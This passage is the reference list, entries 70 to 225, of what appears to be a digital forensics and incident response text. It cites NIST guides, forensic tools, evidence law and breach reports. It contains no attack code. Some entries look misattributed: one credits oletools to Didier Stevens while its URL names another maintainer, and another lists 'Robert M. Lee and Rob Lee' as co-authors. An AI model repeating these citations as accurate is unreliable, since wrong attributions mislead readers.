[70] Exterro. *FTK Imager*. Official download page. AccessData was acquired by Exterro. 2024. URL: https://www.exterro.com/digital-forensics-software/ftk-imager.

[71] Federal Bureau of Investigation. *Operation Ghost Stories: Inside the Russian Spy Case*. Website. Published: 2011-10-31. Describes the investigation culminating in 2010 arrests. Oct. 2011. URL: https://archives.fbi.gov/archives/news/stories/2011/october/ghost-stories_103111.

[72] Federal Bureau of Investigation. *Internet Crime Report 2022*. Tech. rep. Internet Crime Complaint Center (IC3), 2023. URL: https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf.

[73] Federal Bureau of Investigation Internet Crime Complaint Center. *Business Email Compromise: The $50 Billion Scam*. Tech. rep. FBI, May 2023. URL: https://www.ic3.gov/PSA/2023/PSA230510.

[74] *Federal Rules of Civil Procedure*. Accessed August 2, 2025. The rules are updated periodically; this reference points to the current body of rules. United States Courts, 2023. URL: https://www.uscourts.gov/rules-policies/current-rules-of-practice-procedure/federal-rules-civil-procedure.

[75] Paul Forza. *What is Data Loss Prevention (DLP)? A Definition of Data Loss Prevention*. Forcepoint. May 2021. URL: https://www.forcepoint.com/cyber-edu/data-loss-prevention-dlp.

[76] *Frye v. United States*. D.C. Circuit Court of Appeals Reports. 293 F. 1013. 1923.

[77] S. Garfinkel et al. *Computer Forensics Tool Testing Handbook*. Tech. rep. NISTIR 8049. National Institute of Standards and Technology, Nov. 2015. DOI: 10.6028/NIST.IR.8049. URL: https://nvlpubs.nist.gov/nistpubs/ir/2015/NIST.IR.8049.pdf.

[78] Simson Garfinkel and Jesse Kornblum. "Foremost: A File System Independent Data Carver". In: *Proceedings of the International Conference on Systematic Approaches to Digital Forensic Engineering*. IEEE, 2007. DOI: 10.1109/SADFE.2007.14.

[79] Simson L. Garfinkel. "Carving Contiguous and Fragmented Files with Fast Object Validation". In: *Proceedings of the 2007 DFRWS Conference*. Pittsburgh, PA: Elsevier, 2007. URL: https://dfrws.org/presentation/carving-contiguous-and-fragmented-files-with-fast-object-validation/.

[80] Simson L. Garfinkel. "Digital forensics research: The next 10 years". In: *Digital Investigation* 7 (2010), S64–S73. DOI: 10.1016/j.diin.2010.05.009. URL: https://doi.org/10.1016/j.diin.2010.05.009.

[81] Simson L. Garfinkel, David J. Malan, and Karel A. K. M. Morselli. "Advanced forensic format 4 (AFF4)". In: *Advances in Digital Forensics VI*. Ed. by IFIP International Federation for Information Processing. Springer, 2010, pp. 121–136. DOI: 10.1007/978-3-642-15516-5_9. URL: https://www.aff4.org/pubs/2010-Garfinkel-AFF4.pdf.

[82] Gartner. *Gartner Glossary: Threat Intelligence*. Website. 2021. URL: https://www.gartner.com/en/information-technology/glossary/threat-intelligence.

[83] *General requirements for the competence of testing and calibration laboratories*. International Organization for Standardization, 2017. URL: https://www.iso.org/standard/66912.html.

[84] Ian J. Goodfellow, Jonathon Shlens, and Christian Szegedy. "Explaining and Harnessing Adversarial Examples". In: *arXiv preprint arXiv:1412.6572* (2014). URL: https://arxiv.org/abs/1412.6572.

[85] Ian J. Goodfellow et al. "Generative Adversarial Networks". In: *Advances in Neural Information Processing Systems 27 (NIPS 2014)*. 2014. URL: https://arxiv.org/abs/1406.2661.

[86] Google. *Download your data*. Google Account Help. Accessed on August 2, 2025. 2023. URL: https://support.google.com/accounts/answer/3024190.

[87] Google. *Google Workspace audit and reporting*. 2023. URL: https://support.google.com/a/answer/4579532.

[88] Google Cloud. *Cloud Audit Logs overview*. 2023. URL: https://cloud.google.com/logging/docs/audit.

[89] Joe Grand. *Hardware Hacking for Software Folks*. Tech. rep. SANS Institute, Oct. 2010. URL: https://www.sans.org/cyber-security-courses/hardware-hacking/.

[90] Andy Greenberg. "The FBI's Own Report Warns of a Wave of 'Militia Violent Extremists'". In: *Wired* (May 2021). URL: https://www.wired.com/story/fbi-report-militia-violent-extremists/.

[91] Glenn Greenwald. *No Place to Hide: Edward Snowden, the NSA, and the U.S. Surveillance State*. Metropolitan Books, 2014. ISBN: 978-1-62779-073-4.

[92] Maura R. Grossman and Gordon V. Cormack. "Technology-Assisted Review in E-Discovery Can Be More Effective and More Efficient Than Exhaustive Manual Review". In: *Richmond Journal of Law & Technology* 17.3 (2011). URL: https://jolt.richmond.edu/index.php/jolt/article/view/279.

[93] Lov K. Grover. "A Fast Quantum Mechanical Algorithm for Database Search". In: *Proceedings of the Twenty-eighth Annual ACM Symposium on Theory of Computing*. ACM, 1996, pp. 212–219. DOI: 10.1145/237814.237866. URL: https://dl.acm.org/doi/10.1145/237814.237866.

[94] Erika Gubrium and Yael E. Gerson. “Digital forensic evidence: The challenges and implications of the Daubert standard”. In: *Forensic Science International* 241 (2014), pp. 103–109. DOI: 10.1016/j.forsciint.2014.05.009.

[95] Kristinn Gudjonsson et al. “plaso: Super-timelining forensics”. In: *Proceedings of the SANS DFIR Summit*. SANS Institute, 2015. URL: https://www.sans.org/summit-archives/file/summit-archive-1498071863.pdf.

[96] Guidance Software. *EnCase File Formats White Paper*. Archival copy of the E01 file format specification. Original publisher (Guidance Software/OpenText) no longer hosts the document directly. 2006. URL: https://downloads.digitalcorpora.org/corpora/scenarios/2009-m57-patents/m57-patents-doc/EncaseFileFormats.pdf.

[97] J. Alex Halderman et al. “Lest We Remember: Cold-Boot Attacks on Encryption Keys”. In: *Proceedings of the 17th USENIX Security Symposium*. 2008. URL: https://www.usenix.org/legacy/events/sec08/tech/full_papers/halderman/halderman.pdf.

[98] Mikael Hart. *PowerShell for Forensics*. SANS Institute Reading Room. May 2018. URL: https://www.sans.org/white-papers/38310/.

[99] Phil Harvey. *ExifTool by Phil Harvey*. Software Website. Accessed on August 2, 2025. 2024. URL: https://exiftool.org/.

[100] Craig Heffner. *Binwalk: Firmware Analysis Tool*. GitHub Repository. 2011. URL: https://github.com/ReFirmLabs/binwalk.

[101] Matthew Honnibal et al. “spaCy: Industrial-strength Natural Language Processing in Python”. In: Zenodo, July 2020. DOI: 10.5281/zenodo.1212303. URL: https://doi.org/10.5281/zenodo.1212303.

[102] Nick Hotaling et al. *A Survey of Methods for Digital Media Forensics*. Tech. rep. NISTIR 8313. National Institute of Standards and Technology, 2020. DOI: 10.6028/NIST.IR.8313. URL: https://nvlpubs.nist.gov/nistpubs/ir/2020/NIST.IR.8313.pdf.

[103] Troy Hunt. *Have I Been Pwned: Check if your email has been compromised in a data breach*. Website. 2023. URL: https://haveibeenpwned.com/.

[104] Marcello Ienca and Pim Haselager. “Hacking the brain: brain–computer interfacing technology and the ethics of neurosecurity”. In: *Ethics and Information Technology* 18.2 (2016), pp. 117–129. DOI: 10.1007/s10676-016-9398-9. URL: https://link.springer.com/article/10.1007/s10676-016-9398-9.

[105] SANS Institute. *SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics*. Course materials cover key Linux artifact locations like /var/log. 2019. URL: https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/ (visited on 08/01/2025).

[106] SANS Institute. *Windows Forensic Analysis Poster*. 2022. URL: https://www.sans.org/posters/windows-forensic-analysis/ (visited on 08/01/2025).

[107] International Society of Forensic Computer Examiners. *ISFCE Code of Ethics and Professional Responsibility*. Online. 2020. URL: https://www.isfce.com/ethics.htm.

[108] *ISO/IEC 27037:2012 Information technology – Security techniques – Guidelines for identification, collection, acquisition and preservation of digital evidence*. International Organization for Standardization, 2012. URL: https://www.iso.org/standard/44381.html.

[109] J. James and J. Lyle. *Forensic Drive Tools: Hardware Write Blockers*. Sept. 2005. URL: https://www.nist.gov/publications/forensic-drive-tools-hardware-write-blockers.

[110] Eric Jardine. "The Onion Router (Tor) and the Arab Spring". In: *Global Security and Intelligence Studies* 2.1 (2017). URL: https://digitalcommons.northgeorgia.edu/gsis/vol2/iss1/3/.

[111] Sarah Jeong and Noam Scheiber. "The Waymo-Uber Trial Is Over. But the War for Self-Driving Cars Drags On." In: *The New York Times* (Feb. 2018). URL: https://www.nytimes.com/2018/02/10/technology/waymo-uber-trial-self-driving-cars.html.

[112] Karen Kent and Murugiah Souppaya. *Guide to Computer Security Log Management*. Tech. rep. SP 800-92. National Institute of Standards and Technology, 2006. DOI: 10.6028/NIST.SP.800-92. URL: https://csrc.nist.gov/publications/detail/sp/800-92/final.

[113] Karen Kent, Murugiah Souppaya, and Richard W. Carlson. *Guide to Integrating Forensic Techniques into Incident Response*. SP 800-86. National Institute of Standards and Technology, 2006. DOI: 10.6028/NIST.SP.800-86. URL: https://csrc.nist.gov/publications/detail/sp/800-86/final.

[114] Karen Kent et al. *Guidelines on Security and Privacy in Public Cloud Computing*. Tech. rep. SP 800-144. National Institute of Standards and Technology, Dec. 2011. DOI: 10.6028/NIST.SP.800-144. URL: https://csrc.nist.gov/publications/detail/sp/800-144/final.

[115] Dhilung Kirat, Giovanni Vigna, and Christopher Kruegel. "BareCloud: Bare-metal Analysis on a Massive Scale". In: *Proceedings of the 23rd USENIX Security Symposium*. 2014. URL: https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/kirat.

[116] Ron Kissell, Matthew Scholl, and Stephen Skolochenko. *Guidelines for Media Sanitization*. Tech. rep. NIST SP 800-88 Rev. 1. National Institute of Standards and Technology, 2014. DOI: 10.6028/NIST.SP.800-88r1. URL: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-88r1.pdf.

[117] Bryan Klimt and Yiming Yang. "The Enron Corpus: A New Dataset for Email Classification Research". In: *Machine Learning: ECML 2004*. Springer Berlin Heidelberg, 2004, pp. 217–226. DOI: 10.1007/978-3-540-30115-8_22. URL: https://link.springer.com/chapter/10.1007/978-3-540-30115-8_22.

[118] Brian Krebs. *Target Hackers Broke in Via HVAC Company*. KrebsOnSecurity Blog. Feb. 2014. URL: https://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/.

[119] Brian Krebs. *Tech Firm Ubiquiti Suffers $46.7M Cyberheist*. Aug. 2015. URL: https://krebsonsecurity.com/2015/08/tech-firm-ubiquiti-suffers-46-7m-cyberheist/ (visited on 05/16/2024).

[120] Brian Krebs. "WannaCry Outbreak: For the Record". In: *Krebs on Security* (May 2017). URL: https://krebsonsecurity.com/2017/05/wannacry-outbreak-for-the-record/.

[121] Brian Krebs. "Conti Ransomware Group Diaries, Part I: Evasion". In: *Krebs on Security* (Mar. 2022). Accessed August 2, 2025. URL: https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-i-evasion/.

[122] M. Kucherawy and E. Zwicky. *Domain-based Message Authentication, Reporting, and Conformance (DMARC)*. RFC 7489. Mar. 2015. DOI: 10.17487/RFC7489. URL: https://www.rfc-editor.org/info/rfc7489.

[123] Doug Laney. *3D Data Management: Controlling Data Volume, Velocity, and Variety*. Gartner Application Integration and Web Services Summit paper. 2001. URL: https://blogs.gartner.com/doug-laney/files/2012/01/ad949-3D-Data-Management-Controlling-Data-Volume-Velocity-and-Variety.pdf.

[124] Ralph Langner. *Stuxnet: Dissecting a Cyberwarfare Weapon*. Tech. rep. The Langner Group, Feb. 2011. URL: https://www.langner.com/wp-content/uploads/2017/03/langner_stuxnet_deep_dive_2011.pdf.

[125] Phil Lapsley. *Exploding the Phone: The Untold Story of the Teenagers and Outlaws Who Hacked Ma Bell*. Grove Press, 2013. ISBN: 978-0802120618.

[126] laramies and Ali Ahamed. *theHarvester*. GitHub Repository. 2023. URL: https://github.com/laramies/theHarvester.

[127] Chanyong Lee, Seung-Hyun Kim, and Jong-Hyouk Kim. "A Study on Digital Forensic Investigation Procedure for Metaverse". In: *Electronics* 11.19 (2022), p. 3149. DOI: 10.3390/electronics11193149. URL: https://www.mdpi.com/2079-9292/11/19/3149.

[128] Robert M. Lee and Tim M. Conway. *Controlling Industrial Control Systems: SCADA, DCS, and PLC Security*. O'Reilly Media, 2021.

[129] Robert M. Lee and Rob Lee. *The Who, What, Where, When, Why and How of Effective Threat Hunting*. SANS Institute Whitepaper. June 2022. URL: https://www.sans.org/white-papers/37152/.

[130] Legal Information Institute. *Federal Rules of Evidence, Rule 1002. Requirement of the Original*. Cornell Law School. 2023. URL: https://www.law.cornell.edu/rules/fre/rule_1002.

[131] Legal Information Institute. *Federal Rules of Evidence, Rule 401. Test for Relevant Evidence*. Cornell Law School. 2023. URL: https://www.law.cornell.edu/rules/fre/rule_401.

[132] Legal Information Institute. *Federal Rules of Evidence, Rule 801. Definitions That Apply to This Article; Exclusions from Hearsay*. Cornell Law School. 2023. URL: https://www.law.cornell.edu/rules/fre/rule_801.

[133] Legal Information Institute. *Federal Rules of Evidence, Rule 803. Exceptions to the Rule Against Hearsay*. Cornell Law School. 2023. URL: https://www.law.cornell.edu/rules/fre/rule_803.

[134] Legal Information Institute. *Federal Rules of Evidence, Rule 901. Authenticating or Identifying Evidence*. Cornell Law School. 2023. URL: https://www.law.cornell.edu/rules/fre/rule_901.

[135] Michael Hale Ligh et al. *The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory*. Indianapolis, IN: Wiley, 2014. ISBN: 978-1118825099. URL: https://www.wiley.com/en-us/The+Art+of+Memory+Forensics:+Detecting+Malware+and+Threats+in+Windows,+Linux,+and+Mac+Memory-p-9781118825099.

[136] Magnet Forensics. *Magnet AXIOM Cloud*. 2023. URL: https://www.magnetforensics.com/products/magnet-axiom-cloud/.

[137] Heather Mahalik et al. *Mac & iOS Forensic and Incident Response Poster*. SANS Institute. Research on the KnowledgeC database is frequently updated in SANS courses and posters. 2021. URL: https://www.sans.org/posters/mac-and-ios-forensic-and-incident-response/.

[138] Mandiant. *FLOSS: FireEye Labs Obfuscated String Solver*. GitHub Repository. Accessed on August 2, 2025. Originally released by FireEye, now Mandiant. 2016. URL: https://github.com/mandiant/flare-floss.

[139] Mandiant. *Proactive and Post-Breach Insider Threat Detection*. Web Page. Oct. 2021. URL: https://www.mandiant.com/resources/blog/proactive-and-post-breach-insider-threat-detection.

[140] Mandiant. *M-Trends 2022*. Tech. rep. Accessed August 2, 2025. Mandiant, a Google Cloud company, 2022. URL: https://cloud.google.com/resources/m-trends-2022.

[141] Marathon Studios, Inc. *AbuseIPDB*. 2023. URL: https://www.abuseipdb.com/.

[142] K. Martin et al. *Guidelines for Digital Forensics Laboratories*. Tech. rep. NCJ 210137. National Institute of Justice, 2006. URL: https://www.ojp.gov/pdffiles1/nij/210137.pdf.

[143] Christina Maslach, Wilmar B Schaufeli, and Michael P Leiter. "Job burnout". In: *Annual review of psychology* 52.1 (2001), pp. 397–422. DOI: 10.1146/annurev.psych.52.1.397. URL: https://www.annualreviews.org/doi/abs/10.1146/annurev.psych.52.1.397.

[144] John Matherly. *Shodan*. Website. 2023. URL: https://www.shodan.io/.

[145] Peter Mell and Tim Grance. *The NIST Definition of Cloud Computing*. Tech. rep. SP 800-145. National Institute of Standards and Technology, 2011. DOI: 10.6028/NIST.SP.800-145. URL: https://csrc.nist.gov/publications/detail/sp/800-145/final.

[146] Daniele Micciancio and Shafi Goldwasser. *Complexity of Lattice Problems: A Cryptographic Perspective*. Vol. 671. The Kluwer International Series in Engineering and Computer Science. Springer, 2002. DOI: 10.1007/978-1-4615-0897-7. URL: https://link.springer.com/book/10.1007/978-1-4615-0897-7.

[147] Microsoft Corporation. *Event Logging - Win32 apps*. Microsoft Docs. Oct. 2021. URL: https://learn.microsoft.com/en-us/windows/win32/eventlog/event-logging.

[148] Microsoft Corporation. *PE Format - Win32 apps*. Microsoft Learn. Accessed on August 2, 2025. Sept. 2021. URL: https://learn.microsoft.com/en-us/windows/win32/debug/pe-format.

[149] Microsoft Corporation. *Introduction to flow logging for network security groups*. 2023. URL: https://learn.microsoft.com/en-us/azure/network-watcher/network-watcher-nsg-flow-logging-overview.

[150] Microsoft Corporation. *Law Enforcement Requests Report*. 2023. URL: https://www.microsoft.com/en-us/corporate-responsibility/law-enforcement-requests-report.

[151] Microsoft Corporation. *Learn about the unified audit log*. 2023. URL: https://learn.microsoft.com/en-us/purview/audit-log-search.

[152] Dustin Moody. *Report on Post-Quantum Cryptography*. Tech. rep. NISTIR 8105. National Institute of Standards and Technology, 2016. DOI: 10.6028/NIST.IR.8105. URL: https://nvlpubs.nist.gov/nistpubs/ir/2016/NIST.IR.8105.pdf.

[153] Satoshi Nakamoto. *Bitcoin: A Peer-to-Peer Electronic Cash System*. Tech. rep. Self-published, 2008. URL: https://bitcoin.org/bitcoin.pdf.

[154] National Crime Agency. *Cyber Crime: A Vicious Circle*. Tech. rep. National Crime Agency, UK, 2018. URL: https://www.nationalcrimeagency.gov.uk/who-we-are/publications/246-cyber-crime-a-vicious-circle-2/file.

[155] National Cyber Security Centre (UK). *FluBot: How to identify and remove the malware*. 2021. URL: https://www.ncsc.gov.uk/guidance/flubot-how-to-identify-and-remove (visited on 05/16/2024).

[156] National Highway Traffic Safety Administration. *49 CFR Part 563 - Event Data Recorders*. Code of Federal Regulations. 2012. URL: https://www.govinfo.gov/content/pkg/CFR-2012-title49-vol6/xml/CFR-2012-title49-vol6-part563.xml.

[157] National Security Agency. *Ghidra*. Website. Public release at RSA Conference 2019. 2019. URL: https://ghidra-sre.org/.

[158] David Nides. *Network Forensics: Tracking a Hacker*. Tech. rep. SANS Institute, July 2012. URL: https://www.sans.org/white-papers/34215/.

[159] David Nides. *Becoming a Digital Forensics Expert Witness*. SANS Institute Reading Room. Accessed July 26, 2024. May 2014. URL: https://www.sans.org/white-papers/34290/.

[160] Michael A. Nielsen and Isaac L. Chuang. *Quantum Computation and Quantum Information: 10th Anniversary Edition*. 10th. Cambridge University Press, 2010. ISBN: 978-1107002173.

[161] Keisuke Nozaki, Itsuki Noda, and Koichi Sudo. "Forensic Data Recovery from NAND Flash Memory with Strong Error Correction Code and Scrambling". In: *IEICE Transactions on Information and Systems* E104.D.12 (2021), pp. 1966–1974. DOI: 10.1587/transinf.2021FCP0002. URL: https://www.jstage.jst.go.jp/article/transinf/E104.D/12/E104.D_2021FCP0002/_article.

[162] Daniel J. O'Connor. *Practical Industrial IoT Security: A practitioner's guide to securing connected systems*. Packt Publishing, 2017.

[163] OASIS Cyber Threat Intelligence (CTI) TC. *STIX Version 2.0. Part 1: STIX Core Concepts. OASIS Standard*. July 2017. URL: http://docs.oasis-open.org/cti/stix/v2.0/os/stix-v2.0-os.html.

[164] OASIS Cyber Threat Intelligence (CTI) TC. *TAXII Version 2.0. OASIS Standard*. July 2017. URL: http://docs.oasis-open.org/cti/taxii/v2.0/os/taxii-v2.0-os.html.

[165] Office for Victims of Crime. *The Vicarious Trauma Toolkit*. Online. Accessed on August 2, 2025. 2017. URL: https://vtt.ovc.ojp.gov/.

[166] Office of the Inspector General, U.S. Department of Justice. *A Review of the FBI's Handling of the Brandon Mayfield Case*. Tech. rep. Unclassified and Redacted. U.S. Department of Justice, Mar. 2006. URL: https://oig.justice.gov/special/s0601/final.pdf.

[167] Oracle Corporation. *Oracle VM VirtualBox*. Official Website. Accessed on August 2, 2025. 2024. URL: https://www.virtualbox.org/.

[168] Mihai-Gabriel Oriol et al. "A survey on IoT-aware digital forensics". In: *Journal of Systems Architecture* 109 (2020), p. 101732. DOI: 10.1016/j.sysarc.2020.101732. URL: https://www.sciencedirect.com/science/article/pii/S138376212030096X.

[169] Marek Palatinus et al. *BIP-0039: Mnemonic code for generating deterministic keys*. Bitcoin Improvement Proposals. Accessed on August 5, 2025. 2013. URL: https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki.

[170] Laurie Anne Pearlman and Karen W Saakvitne. *Trauma and the therapist: Countertransference and vicarious traumatization in psychotherapy with incest survivors*. New York: W. W. Norton & Company, 1995.

[171] Siobhan Penrose and Rachel Grieve. ""It Never Leaves You": The Lived Experience of Vicarious Trauma for Child Exploitation Investigators". In: *Police Practice and Research* 23.4 (2022), pp. 477–491. DOI: 10.1080/15614263.2021.1990924. URL: https://www.tandfonline.com/doi/full/10.1080/15614263.2021.1990924.

[172] Stefano Pirandola et al. "Advances in quantum cryptography". In: *Advances in Optics and Photonics* 12.4 (2020), pp. 1012–1236. DOI: 10.1364/AOP.361502. URL: https://opg.optica.org/aop/abstract.cfm?uri=aop-12-4-1012.

[173] Karl R. Popper. *The Logic of Scientific Discovery*. Originally published as 'Logik der Forschung' in 1934. Hutchinson & Co., 1959.

[174] PortSwigger Ltd. *Burp Suite - The leading toolkit for web security testing*. Official Website. Accessed on August 2, 2025. 2023. URL: https://portswigger.net/burp.

[175] Kevin Poulsen. *Kingpin: How One Hacker Took Over the Billion-Dollar Cybercrime Underground*. Provides detailed accounts of the techniques used in the TJX and Heartland Payment Systems breaches, including RAM scraping. Crown, 2011. ISBN: 978-0307588685.

[176] C. Rickey et al. *Digital Investigation of Drones*. Tech. rep. NISTIR 8320. National Institute of Standards and Technology, 2020. DOI: 10.6028/NIST.IR.8320. URL: https://doi.org/10.6028/NIST.IR.8320.

[177] RiskIQ. *RiskIQ PassiveTotal*. Website. Acquired by Microsoft. 2023. URL: https://community.riskiq.com/.

[178] Megan Roddie. "Cloud Forensics: Not So Different After All". In: *SANS DFIR Summit*. SANS Institute, 2019. URL: https://www.sans.org/summit-archives/file/summit-archive-1565799988.pdf.

[179] Herbert L. Roitblat, Anne Kershaw, and Patrick Oot. "Document categorization in legal electronic discovery: computer classification vs. manual review". In: *Journal of the American Society for Information Science and Technology* 61.1 (2010), pp. 70–80. DOI: 10.1002/asi.21233. URL: https://asistdl.onlinelibrary.wiley.com/doi/abs/10.1002/asi.21233.

[180] Scott Rose et al. *Zero Trust Architecture*. Tech. rep. 800-207. National Institute of Standards and Technology, 2020. DOI: 10.6028/NIST.SP.800-207. URL: https://csrc.nist.gov/publications/detail/sp/800-207/final.

[181] Vassil Roussev and G. D. Peterson. "Cyber-physical systems: A new frontier for digital forensics". In: *2016 IEEE International Conference on Cyber-Physical Systems, Networks, and Applications (CPSNA)*. 2016, pp. 43–48. DOI: 10.1109/CPSNA.2016.12.

[182] Mark Russinovich. *Process Monitor (ProcMon)*. Microsoft Sysinternals Documentation. Accessed on August 2, 2025. Oct. 2023. URL: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon.

[183] Nicolas van Saberhagen. *CryptoNote v 2.0*. Tech. rep. Self-published, 2013. URL: https://www.getmonero.org/resources/research-lab/pubs/whitepaper_annotated.pdf.

[184] SANS Institute. *SANS Investigative Forensic Toolkit (SIFT) Workstation*. Web Page. 2023. URL: https://www.sans.org/tools/sift-workstation/.

[185] Iqbal H. Sarker et al. "Cyberlearning: A Machine Learning Based Professional Training and Competencies Development Framework for Cybersecurity". In: *IEEE Access* 9 (2021), pp. 53389–53405. DOI: 10.1109/ACCESS.2021.3070438. URL: https://ieeexplore.ieee.org/document/9401737.

[186] Scientific Working Group on Digital Evidence (SWGDE). *SWGDE Best Practices for Digital Forensics*. Tech. rep. Version 1.1. SWGDE, Sept. 2019. URL: https://www.swgde.org/documents/published-documents/2019-09-09-swgde-best-practices-for-digital-forensics.

[187] Peter W. Shor. "Algorithms for Quantum Computation: Discrete Logarithms and Factoring". In: *Proceedings of the 35th Annual Symposium on Foundations of Computer Science*. IEEE Computer Society Press, 1994, pp. 124–134. DOI: 10.1109/SFCS.1994.365700. URL: https://ieeexplore.ieee.org/document/365700.

[188] Michael Sikorski and Andrew Honig. *Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software*. San Francisco, CA: No Starch Press, 2012. ISBN: 978-1593272906. URL: https://nostarch.com/malware.

[189] *Smith v. Maryland*. U.S. Supreme Court Reports. 442 U.S. 735. 1979.

[190] Eugene H. Spafford. "The Internet Worm Program: An Analysis". In: *ACM SIGCOMM Computer Communication Review* 19.1 (1989), pp. 17–57. DOI: 10.1145/66093.66095. URL: https://spaf.cerias.purdue.edu/tech-reps/823.pdf.

[191] Lance Spitzner. *Opsec for Everyone*. SANS Institute Reading Room. Sept. 2019. URL: https://www.sans.org/white-papers/39290/.

[192] State of California Department of Justice. *California Consumer Privacy Act (CCPA)*. As amended by the California Privacy Rights Act (CPRA). 2018. URL: https://oag.ca.gov/privacy/ccpa.

[193] Didier Stevens. *oletools*. Python tools to analyze OLE and MS Office files. 2021. URL: https://github.com/decalage2/oletools (visited on 05/16/2024).

[194] Keith Stouffer et al. *Guide to Industrial Control Systems (ICS) Security*. NIST Special Publication 800-82r2. National Institute of Standards and Technology, May 2015. DOI: 10.6028/NIST.SP.800-82r2. URL: https://csrc.nist.gov/publications/detail/sp/800-82/rev-2/final.

[195] Supreme Court of the United States. *Katz v. United States, 389 U.S. 347*. U.S. Reports. 1967. URL: https://supreme.justia.com/cases/federal/us/389/347/.

[196] Supreme Court of the United States. *Riley v. California, 573 U.S. 373*. U.S. Reports. 2014. URL: https://supreme.justia.com/cases/federal/us/573/373/.

[197] Joe Sylve. *LiME - Linux Memory Extractor*. GitHub repository. The canonical source code repository for the LiME tool. 2012. URL: https://github.com/504ensicsLabs/LiME.

[198] Pang Leang Tan. *How to Hunt for Command and Control Beaconing*. Tech. rep. SANS Institute, Dec. 2016. URL: https://www.sans.org/white-papers/37452/.

[199] The European Parliament and the Council of the European Union. *Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation)*. Official Journal of the European Union, L 119/1. 2016. URL: https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32016R0679.

[200] The Kubernetes Authors. *Auditing*. 2023. URL: https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/.

[201] The MISP Project. *MISP - Open Source Threat Intelligence Platform & Open Standards For Threat Information Sharing*. Website. 2023. URL: https://www.misp-project.org/.

[202] The mitmproxy project. *mitmproxy - a free and open source interactive HTTPS proxy*. Official Website. Accessed on August 2, 2025. 2023. URL: https://mitmproxy.org/.

[203] The MITRE Corporation. *Persistence - Enterprise | MITRE ATT&CK®*. Website. Accessed on August 2, 2025. 2023. URL: https://attack.mitre.org/tactics/TA0003/.

[204] The Plaso Project. *Plaso - Super timeline all the things*. 2023. URL: https://plaso.readthedocs.io/en/latest/ (visited on 08/01/2025).

[205] The Sherlock Project. *Sherlock: Hunt down social media accounts by username across social networks*. GitHub Repository. 2023. URL: https://github.com/sherlock-project/sherlock.

[206] The Tcpdump and Libpcap project. *Tcpdump & Libpcap*. Official Website. Accessed on August 2, 2025. 2023. URL: https://www.tcpdump.org/.

[207] The Tor Project, Inc. *TAILS - The Amnesic Incognito Live System*. Website. Accessed on August 5, 2025. 2024. URL: https://tails.boum.org/.

[208] The Tor Project, Inc. *Tor Project: Anonymity Online*. https://www.torproject.org/. Accessed: 2024-08-05. 2024.

[209] The Volatility Foundation. *The Volatility Framework 3*. Official Documentation. Official project website and source for the Volatility Framework. 2023. URL: https://www.volatilityfoundation.org/volatility-3.

[210] The Wireshark Foundation. *Wireshark Display Filter Reference: Modbus*. Official Documentation. 2023. URL: https://www.wireshark.org/docs/dfref/m/modbus.html.

[211] The Wireshark Foundation. *Wireshark: Go Deep*. Official website for the Wireshark network protocol analyzer. 2023. URL: https://www.wireshark.org/ (visited on 10/26/2023).

[212] The Zeek Project. *Zeek: A Network Security Monitor*. Official Website. Accessed on August 2, 2025. 2023. URL: https://zeek.org/.

[213] Ruben Tolosana et al. "DeepFakes and Beyond: A Survey of Face Manipulation and Fake Detection". In: *Information Fusion* 64 (2020), pp. 131–148. DOI: 10.1016/j.inffus.2020.06.014. URL: https://arxiv.org/abs/2001.00179.

[214] Trend Micro Research. *The Commoditization of Cybercrime: A Deep Dive into the Cybercrime-as-a-Service Ecosystem*. Tech. rep. Accessed August 2, 2025. Trend Micro, 2022. URL: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-commoditization-of-cybercrime-a-deep-dive-into-the-cybercrime-as-a-service-ecosystem.

[215] Truepic. *How Our Controlled Capture Technology Works*. Website. Accessed on August 2, 2025. 2023. URL: https://truepic.com/technology/.

[216] U.S. Congress. *18 U.S. Code Chapter 121 - Stored Wire and Electronic Communications and Transactional Records Access*. United States Code. Also known as the Stored Communications Act (SCA). Public Law 99–508, Oct. 21, 1986, 100 Stat. 1860. 1986. URL: https://www.law.cornell.edu/uscode/text/18/part-I/chapter-121.

[217] U.S. Congress. *H.R.4943 - CLOUD Act*. Public Law No: 115-141, Division V. 2018. URL: https://www.congress.gov/bill/115th-congress/house-bill/4943.

[218] U.S. Department of Justice. *Ross Ulbricht, A/K/A 'Dread Pirate Roberts,' Sentenced In Manhattan Federal Court To Life In Prison*. Press Release. May 2015. URL: https://www.justice.gov/usao-sdny/pr/ross-ulbricht-aka-dread-pirate-roberts-sentenced-manhattan-federal-court-life-prison.

[219] U.S. Department of Justice. *The MICE Model for Understanding Motivations*. Espionage and National Security Briefing Materials. Often cited in counterintelligence and security training programs. 2015.

[220] U.S. Department of Justice. *Darknet Child Pornography Website Operator and Users Arrested in Global Investigation*. Press Release. Accessed on August 5, 2025. Oct. 2019. URL: https://www.justice.gov/opa/pr/darknet-child-pornography-website-operator-and-users-arrested-global-investigation.

[221] United States Congress. *18 U.S. Code § 2511 - Interception and disclosure of wire, oral, or electronic communications prohibited*. United States Code. As amended. 1968. URL: https://www.law.cornell.edu/uscode/text/18/2511.

[222] Verizon. *2023 Data Breach Investigations Report*. Tech. rep. Accessed August 2, 2025. Basking Ridge, NJ: Verizon Business, 2023. URL: https://www.verizon.com/business/resources/reports/dbir/.

[223] VirusTotal. *VirusTotal*. Website. 2023. URL: https://www.virustotal.com/.

[224] Volexity. *Volexity Tools*. Original creators of the DumpIt memory acquisition tool. 2014. URL: https://www.volexity.com/tools/.

[225] Wilfried Voss. *A Comprehensible Guide to Controller Area Network*. Copperhill Media, 2008. ISBN: 978-0976511601.

